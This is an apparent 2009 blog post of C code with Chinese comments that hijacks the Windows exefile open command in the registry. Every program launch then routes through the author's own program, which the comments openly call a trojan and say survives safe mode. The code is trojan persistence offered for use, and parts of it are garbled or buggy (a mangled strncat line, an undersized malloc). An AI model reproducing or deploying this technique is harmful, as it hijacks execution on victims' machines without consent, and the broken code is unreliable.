---
title: "vc++实现文件关联"
author: "winzenghua"
date: "2009-03-29T18:39:00Z"
tags: []
slug: "vc"
draft: false
lastmod: "2009-03-29T18:39:00Z"
id: 948139
url: "https://java4gis.iteye.com/blog/948139"
---

#include &lt;stdio.h&gt;  
#include &lt;windows.h&gt;  
int main(int argc,char \*argv\[])  
{  
MessageBox(NULL,"Hello",NULL,MB\_OK);  
char temp\[256];  
memset(temp,0,256);  
if(argc!=1){  
int length =strlen(argv\[1]);  
char \*ch=(char \*)malloc(length);  
strcpy(ch,argv\[1]);  
for(int i=0;i&lt;length;i++,ch++)  
{  
if(\*ch=='\\\\')  
strncat(temp,"[\\\\\\\\",2]());  
else strncat(temp,ch,1);  
}  
}//上面的函数是把字符串中所有的"\\"变为"\\\\"  
char str\[]="\\"%1\\" %\*";  
RegSetValue(HKEY\_CLASSES\_ROOT,"exefile\\\\shell\\\\open\\\\command",REG\_SZ,(LPCTSTR)str,strlen(str)+1);  
// 在执行原有程序之前必须把注册表恢复，否则用ShellExecute还是执行我们的木马程序。  
ShellExecute(NULL,"open",temp,NULL,NULL,SW\_SHOW);//执行原有的程序  
//在程序执行完成后，再把注册表改为我们要启动的木马程序的  
TCHAR filename\[256];  
// 得到程序全路径名  
GetModuleFileName( NULL, filename, 255 );  
strcat(filename," \\"%1\\" %\*");  
RegSetValue(HKEY\_CLASSES\_ROOT,"exefile\\\\shell\\\\open\\\\command",REG\_SZ,(LPCTSTR)filename , strlen(filename) + 1);  
//经过上述过程只要程序一运行就会执行我们的start 程序了。即使是在安全模式下只要执行可执行程序就会运行我们的程序了。

return 0;  
}